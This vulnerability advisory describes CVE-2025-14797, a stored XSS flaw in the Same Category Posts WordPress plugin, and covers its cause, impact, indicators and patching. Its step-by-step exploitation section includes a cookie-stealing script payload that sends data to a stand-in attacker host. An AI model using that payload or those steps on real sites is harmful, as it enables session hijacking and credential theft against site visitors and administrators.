CVE-2025-14797: 
WordPress vulnerability analysis and mitigation

CVE-2025-14797 is a Stored Cross-Site Scripting (XSS) vulnerability in the Same Category Posts plugin for WordPress, affecting all versions up to and including 1.1.19. The flaw exists in the widget title placeholder functionality and was disclosed on January 24, 2026, with Wordfence credited as the assigner. It carries a CVSS v3.1 base score of 5.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The plugin incorrectly applies htmlspecialchars_decode() to taxonomy term names before rendering them in the widget title placeholder, which reverses the HTML entity encoding that WordPress applies by default for output safety. This allows an authenticated attacker with Author-level privileges or higher to craft a malicious taxonomy term name containing JavaScript, which is then decoded and rendered as executable script in any page displaying the widget. The vulnerable code paths are documented in the plugin source at lines 639, 665, and 707 of same-category-posts.php version 1.1.19 (Wordfence, WordPress Trac).

Successful exploitation enables a stored XSS attack where malicious JavaScript is persistently injected into WordPress pages and executes in the browsers of any user who visits an affected page. This can result in session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims (including administrators), and potential site defacement or redirection to malicious content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader browser context of site visitors (Wordfence, Red Hat CVE).

No public proof-of-concept exploit code or in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.032%, indicating a low probability of near-term exploitation. Exploitation requires authenticated access at the Author level or above, which limits the attack surface compared to unauthenticated vulnerabilities. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Author-level access: Obtain or compromise a WordPress account with at least Author-level privileges on the target site running Same Category Posts plugin ≤ 1.1.19.
2. Create or edit a taxonomy term: Navigate to the WordPress admin panel and create or edit a category or taxonomy term, injecting a malicious payload into the term name (e.g., Test<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
3. Trigger widget rendering: Ensure the Same Category Posts widget is active on a page and configured to display the taxonomy term name as a title placeholder — the plugin will call htmlspecialchars_decode() on the term name, reversing WordPress's entity encoding.
4. Payload execution: When any site visitor (including administrators) loads a page containing the widget, the decoded script tag executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Wordfence, WordPress Trac).

• Logs: WordPress access logs showing requests to pages containing the Same Category Posts widget from unusual IPs shortly before or after taxonomy term modifications; admin audit logs showing unexpected creation or editing of taxonomy terms by Author-level accounts.
• File System: Unexpected modifications to taxonomy term data in the WordPress database (wp_terms and wp_termmeta tables) containing HTML/JavaScript entities or script tags.
• Network: Outbound requests from victim browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints) originating from pages hosting the Same Category Posts widget.
• Process/Application: JavaScript errors or unexpected redirects reported by users on pages displaying the Same Category Posts widget.

WordPress site administrators should update the Same Category Posts plugin to version 1.1.20 or later, which addresses the improper use of htmlspecialchars_decode() on taxonomy term names. The fix is documented in the plugin's changeset (WordPress Trac Changeset). As a temporary workaround, restrict Author-level user permissions or disable the Same Category Posts widget until the plugin is updated. Regularly audit taxonomy terms for unexpected HTML or script content (Wordfence).